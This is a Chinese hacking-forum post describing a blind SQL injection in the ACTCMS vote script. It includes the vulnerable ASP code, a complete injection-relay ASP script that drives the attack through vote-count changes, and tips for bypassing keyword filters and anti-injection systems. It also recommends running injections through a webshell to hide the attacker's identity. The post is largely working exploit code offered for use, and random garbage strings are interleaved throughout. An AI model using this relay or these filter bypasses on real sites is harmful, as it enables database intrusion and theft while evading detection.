中国网络渗透测试联盟
标题:
注入中转的高级应用,actcms漏洞以及其他
[打印本页]
作者:
admin
时间:
2012-11-6 21:13
标题:
注入中转的高级应用,actcms漏洞以及其他
9 l$ @( _3 r" ?7 R; J1 x
看到ninty大牛的blog的一篇文章
/ g8 X x! I% k% J* n
链接标记[url]http://www.forjj.com/?action=show&id=80
[/url]
8 e2 S7 g3 V' g* D9 i
关于actcms漏洞的利用 by 3x qq:381862589
- y" T ~5 Y7 @3 d1 e$ G
转载请注明以上
W; h$ h! |. V, r
漏洞文件:
3 Q- B% O2 d" S' ^, S! X& Q
/plus/vote/vote.asp
' ~1 H$ N) V' ?7 p+ B
代码:
链接标记预览源代码
链接标记打印
链接标记关于
1if request("voted").count=0 then
X2 n, p l6 ^1 x" x% _: {
8 q) Z# B# D, }* L. u) C
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
) E0 y6 o% F- d/ q3 I
& V1 b+ |" a( Y( ~* f/ K
3 response.end
( y' k+ g5 t/ C
! Y$ q$ u% s6 ^1 n, z6 W: V
4 end if
9 v. K" c J3 n8 Z$ D2 P: V' |# n
0 ~5 r# U; H* | f% h
5 for i=1 to request("voted").count
, A4 V) f! w9 o6 u4 _7 c9 c+ o9 }) A
7 ]5 q) k# E7 W9 k1 O6 e
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
7 n$ F2 l) k& m- r# p8 @
' l4 u" |. n, j$ Y( _
7 next
9 f/ f/ d# f1 c- F* J4 J
8 d' v$ W: F* b2 j1 |: u
8....
$ y( @. k4 s6 x+ n
: [' ^5 X' G( V3 C- N
9response.Redirect "index.asp?id="&id&""
9 a7 l# F0 H! ]5 z( N i3 G
投票结束回跳转回index.asp这个投票结果页面
, o* M6 \9 A5 A( W0 J
如果投票成功票数加1
" ^9 u! P3 B6 D" q1 D
失败票数不变
7 z( V! Z+ e3 {7 b
如图:
1 N* z4 l1 y" }: J' m' } o
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg
链接标记下载
(3.95 KB)
@6 k" @+ I& {! n! s- E7 V) {
: X7 R" [/ u1 V9 k. ^! ~) g5 b
2009-12-27 13:20
( A' Y4 g, g0 v$ d) ?3 R) i: n0 b
. P" X1 J% Z' Q# E; o) ?
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
3 z4 V& b/ ?" Y4 V/ E
. [* b: k6 P0 s( I: e* p
本帖隐藏的内容需要回复才可以浏览
% @4 c# O6 b2 ?8 X+ W/ ]
我们用注入中转来实现这个注入具体代码如下:
, e* y: u5 b* H! @
先用寂寞的刺猬大牛的注入中转生成jmget.asp
% t9 m1 d( W% k: \. L+ `% s$ {" w
注入地址:http://localhost/actcms/plus/vote/vote.asp
5 |, v0 z+ \ X2 r5 Z6 I: B
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
3 a- H L7 y) p% o. B, {8 k
! H) H! F6 n; _+ s, k
然后进行修改变成如下代码:
链接标记预览源代码
链接标记打印
链接标记关于
01<%
6 `* q0 Q3 U, I* p$ z7 D1 f
/ U# A0 r6 t6 {: o' f0 R
02JmdcwName=request("jmdcw")
& Z) P: R# s1 e5 v+ ^& G2 Q
- v$ Q; }" Z+ S% ?
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
: w7 `+ l9 k# z
" a6 T; Y3 J: K7 H% K: S2 ~3 U. m
04JmStr="id=1&voted=-1 or 1="&JmdcwName
/ H- G/ s9 c) F
& p8 q/ U+ e1 a8 v }1 S
05JmStr=URLEncoding(JmStr)
0 F8 z j1 j- f/ o" z, T
* z# u* s8 m1 C U. w, X
06JMUrl="
链接标记http://localhost/actcms/plus/vote/vote.asp
"
( }; ]. w& p! m4 X. n
- [. ]6 Q# \2 C8 ~5 N/ u. ~% |% ]) J5 ?
07testurl="
链接标记http://localhost/actcms/plus/vote/index.asp
"
/ K$ \) Y8 U# [
9 w2 U4 Q# s4 j! C1 f3 j7 I! s7 G
08testurl=testurl & "?" & JmStr
3 Z) `+ W7 f8 g: s
* p% y) g) h+ f5 P6 Y7 [: X2 m! |
09JMUrl=JMUrl & "?" & JmStr
# u2 H2 r, J$ N0 l
" v' A* b4 t3 r P4 a9 ?
10JmRef="
链接标记http://localhost/actcms/plus/vote/vote.asp
"
, a. }4 l9 e+ w c+ s
+ H7 Z7 w6 m5 b8 K3 X" @/ D
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
: @) c; |; d9 }! ?/ o" d7 X: S
! ?9 P8 D2 L% L* g
12JmCok=replace(JmCok,chr(32),"%20")
3 |2 s, |: b, o- T1 y/ t) }, @
: W! D, c/ x5 `1 X
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
, r4 @- R; o( t
& t9 _/ O1 L& o, w0 i
14
, T5 S; x' [% ]
3 W2 w' f- ?# o7 N5 |3 ^7 P
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
: h: l7 _' E+ W& b- v! ?5 S
: P. o+ a9 _) r+ B
16
8 w" D8 D! g9 l0 D% `
$ {3 M" h/ j0 u0 K, [ }$ d
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
9 Q. F) n2 y v6 O: p+ j
) d! c7 [( m# P/ k0 \2 d5 ? H
18response.write test1&""&test2&""
* M5 r0 T* ^/ ^( S$ m
( v& q, j/ a" ?+ i, F
19
d" s% [2 |3 h* Y( a5 K! {0 |
& F5 P, x7 i" h2 ^
20if test1=test2 then '如前后记录相等,表示失败
8 m$ q3 g' O% q7 V' s/ K
! o# \7 p% L# |0 X
21 response.write "failed"
8 v" I7 Z4 {5 l! @$ ~+ q! A
+ e- a/ P1 G, ?8 I4 W: {
22else
! u! G2 ~$ ^9 Q( y$ g
) e6 [2 s, q" k. X/ ?
23 response.write "succeed"
" E. r& D6 c, V Y
" U' H6 W, K) E
24end if
$ [% i: ^1 F7 ~, G6 g4 ]# J
) h2 I9 Y; N) d2 \7 x w: t1 Z
25
9 u, ^% v6 j- @. h! Y8 _: I$ c2 F
8 r4 t0 `+ b: y, U/ |! R
26response.write "by 3x"
9 n% T3 F7 B( S& W
9 k# h s* w V: c4 J! x" Z% Z
27
: n: }$ |. ?: W$ a
, ], \# a) ^, h7 @* T0 q* j8 B
28
0 u8 N" A; v; U' L: T! ?
, U4 b9 w# v2 n/ {( ?1 g
29Function PostData(PostUrl,PostStr,PostCok,PostRef)
7 D! _% `5 G2 l2 P9 W
( }: U5 \, w3 T& ~
30Dim Http
( R- L3 A e. g- S4 b
5 u" J, P8 q0 a. I# h
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
; W% A& T, X/ g* d: G: ~
8 O0 n! h- }% U" Z# f
32With Http
" }0 W0 n$ H% o. N
4 ]3 d* I/ ?1 f) a- c$ q
33
: S( S! Z$ y2 i% F
2 f# M, J. U- O+ I F' E' t7 e2 A
34.Open "GET",PostUrl,False
2 E) U" K; e2 m$ ?! S1 i
$ N& H0 j- ~( {& E% L) A( y; ?2 p, N
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
! o; U* l- K' `7 r) q) a' h' N
, }: R j* e( j! q; c s
36.SetRequestHeader "Referer",PostRef
. A8 }# _* L' `9 @' q. O0 y, ^ @
* J- L6 H8 D: G5 N3 Z3 f3 Q- e
37.SetRequestHeader "Cookie",PostCok
2 a5 Z" Q1 d9 p, R% A9 M% R
& R* f' L/ J9 z$ b
38.Send ()
H# S3 T! J( Z, h7 g
) c5 E( C; o" U: V0 T9 X
39PostData = .ResponseBody
1 Z( H! Y& H+ A& E2 a
9 w; m) {2 o4 M+ ]
40End With
" D$ b/ D' Q; O! F. Q! a' j
: U7 `2 `% U# L. b
41Set Http = Nothing
! d% a. }2 r4 I% A6 M
2 a8 n/ i9 \& Y+ i
42PostData =bytes2BSTR(PostData)
& X/ e3 J; l& d- F! \
- O* J9 q1 l7 J! J" S7 ^4 o
43End Function
) G ~8 [, z/ K7 P9 H1 _
% I$ r3 r* K) J4 S, N' k: P# Y
44
. E4 s$ }0 ?. R7 e- ]" c& H
: y) v3 b j4 k0 Q
45
( T3 Q5 N$ }5 t; J& T
+ z' S2 ?( s k. O
46Function bytes2BSTR(vIn)
; S) _! P7 g, ?8 e7 G( b
1 O2 ?2 m, T: C4 W& q4 V7 b
47Dim strReturn
/ n! ~, c. w: \6 I% R6 `1 X9 m4 A& j
# c# y$ G/ l( V+ m2 U& I
48Dim I, ThisCharCode, NextCharCode
! ]7 o0 e8 }0 i/ R
6 q- A6 t1 b; q* b
49strReturn = ""
* B+ h1 d7 K" L: B% B3 C$ R% v& k: B- r; o
6 \2 W* e4 H: [5 v
50For I = 1 To LenB(vIn)
5 u ~8 g5 K! i: L& j/ P
1 t4 ?2 a$ L& K: }* {
51ThisCharCode = AscB(MidB(vIn, I, 1))
/ h, G+ R$ `) v7 E
7 j0 n& y1 ^6 S D7 j
52If ThisCharCode < &H80 Then
* Y. X7 D1 {; F
9 u" L |0 @; x% ~+ J
53strReturn = strReturn & Chr(ThisCharCode)
+ y0 g/ {4 S7 i* t2 a( ?. X' \
5 |0 c$ M" ]* H+ Q0 D+ n
54Else
/ o( l$ Q4 J) ]6 |# y
G7 x% f& I1 K! e
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
L7 C) M; n7 K( q4 S' s
0 n& J, C! I" f6 i7 `, C8 b9 z) i; E
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
6 P, D8 T; K9 c* j) U1 S
- E E; O# Q" I+ I7 }# k: e* M
57I = I + 1
+ Z' D" n: V5 O. h
3 ~1 d% s" P$ d; o& M. D
58End If
* h$ z+ y: J* U7 k9 Z
j4 C- h) x$ }+ V! |
59Next
0 w' d- t6 p/ m. Q6 P
" o3 i+ |9 h8 c( M
60bytes2BSTR = strReturn
+ w6 f' I5 L0 u8 P( k, a
$ |3 O( k7 h* p- O; p3 k
61End Function
0 X* Z5 j) r4 _: V" W) {
2 J2 A* b4 p$ _- ^
62
& D' f# o/ w |
: _" n0 v+ [! {9 n; J, X! g. Q
63Function URLEncoding(vstrin)
; A# w4 `. w# y0 A
- R1 x- G* s# B/ V9 O3 U
64strReturn=""
" i, [- [/ A2 n+ I) G6 q
- l7 @7 B; T$ d5 `, M
65Dim i
. O1 _" [4 R: k4 a5 H, i
* J l$ Y2 T9 P, A; ]
66For i=1 To Len(vstrin)
: s& h/ ~6 k! j: j4 `- [2 w6 y4 B
" l' q7 T) u3 M# |) L
67ThisChr=Mid(vstrin,i,1)
# R* i9 y) Y# b! V- f3 B1 |# E I2 u( l
; ?% _, N$ p* ?3 N3 ]0 u/ Q+ b& J7 _
68if Abs(Asc(ThisChr))< &HFF Then
5 P4 ]6 D! y- d7 r2 ^
0 O* R" q. s& H3 _( u# g- I
69strReturn=strReturn & ThisChr
) Q7 q# _% p, f m
9 D$ I7 t. [2 x3 K
70Else
1 q) `$ ^/ {! b2 o: t+ r. u: A- Q6 C
' u. M& r6 B$ `" n; v
71InnerCode=Asc(ThisChr)
: v2 z% |. z; z9 R4 W
" B+ _7 x. Q6 p/ w
72If InnerCode<0 Then
' {! w0 X; D% H4 Z; y- s
1 ~ s& p: F& q' @, d
73InnerCode=InnerCode + &H10000
' m ]" S% M5 L# g
) r' H! w3 D" V* U8 X
74End If
0 m0 T4 O* G2 K, k* Q9 B# s
1 t" f/ w# c: X
75Hight1=(InnerCode And &HFF00) \&HFF
/ Y. \: w1 h, `8 O. t7 B) g; G! C7 h
1 e' ~$ X# C; z, W% B' ]$ j! k; L3 o
76Low1=InnerCode And &HFF
6 d4 B- n3 s( d& g- U0 h
' S! ^) a' r, v1 ~( M$ Q
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
+ d L5 D! h4 O% }: {- l
9 }: k5 i" ^% V! u2 g5 R
78End if
- u/ s5 K* r2 t, m, \
Z0 `8 ^$ J; k Z1 i
79Next
" w) q1 a5 V/ x8 g2 t: Z
6 O! J6 `" s( ?* D% v1 t
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
4 Q6 n i4 f. V' {- h; ?% A/ N8 K! h+ f; Z
9 G4 J7 K/ X3 N" l/ c
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
% |5 m. E0 s4 s) Z4 Q7 Z
/ h! E0 w% x2 b! k+ h# f' i
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
% ~3 P2 }- g7 `/ w" O8 x/ Z
4 s6 K) t3 h4 o
83URLEncoding=strReturn
+ g3 K. h# H7 }3 J, c
/ k9 U* I% Z. M8 r8 i& \4 T4 w" a
84End Function
( x0 Q$ O {/ q$ P7 q: j! x! B
8 k1 z: a$ K# h1 b. @
85
r. s! H$ O# Z6 Y. n
0 C% l; \- d1 x8 Q, G
86function getSt(body)
2 v$ u: O4 _2 U) V
% N( d; W; Y; @3 Y" I0 k0 t
87 startpot=instr(body,"投票人数:")+len("投票人数:")
: m3 T6 M9 o0 N1 ~
0 y A' N% d) S1 F/ P
88 endpot=instr(startpot,body," ")
: x0 p% \" }& T3 _ e# U0 x) p& `+ D/ y
2 a6 m0 H5 @" U! g0 ~( B' w
89 getSt=mid(body,startpot,endpot-startpot)
; h' e4 W9 q5 f8 y9 f# H( ^5 S% ]
, @8 @3 N1 ]* `
90end function
: E, M1 ?" l0 O/ M8 m. @$ c
0 s; @) J( s3 a4 _, m5 v5 \
91%>
: o! ]8 m: O3 \8 Y+ Y$ S% b
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
) v$ [! g6 ~! Z; E* C9 `
测试下效果:
9 F- v% P& r7 ~
投票成功:
4 b# m, |# X( a! `! Q1 |8 _
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg
链接标记下载
(15.4 KB)
% y1 U! y3 d2 d9 G0 G3 v$ {6 E
4 w' G, J& o V# t: { l
2009-12-27 13:29
, w( d. H4 [% W% r8 |) Y
投票失败
5 k e& e |3 r4 c$ c+ z' e9 k
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg
链接标记下载
(13.72 KB)
, k# E# W5 k% F+ z1 g; V8 a- b
' w2 P( Q# n h6 \' } Y
2009-12-27 13:29
' X7 I w, F9 `" m L
-------------------------------------------------------------------------------
5 J$ V0 m, T6 `$ g
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
2 J. D; S! \2 y( E2 m' M/ F
很抱歉。。。只能用单线程工具去注入。。。。。
/ _5 F- M$ ~/ I1 C* k* ^' \
所以失败。。。不好意思。。。
; o& a" K1 G6 s! b" w
-------------------------------------------------------------------------------
) b$ ^+ D" _5 {. v- C! |
; f# h1 H# c9 _. W9 V @
注入中转的一些其他应用
: z4 E: R% B- l' n1 Q6 r. y, d
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
& {5 o3 j1 J3 v
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
. N" m0 ~, m2 {/ `4 { Z) e
2.post注入转成get型的注入,方便我们使用工具来跑
) k- A! @3 e) k/ X! d
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
6 [9 T3 U/ {0 S( [$ G0 Y K# S; W6 \
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
7 F, \( A) K% k& Q$ Y1 p
- f# F: y" H9 `" R# M; M: K
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2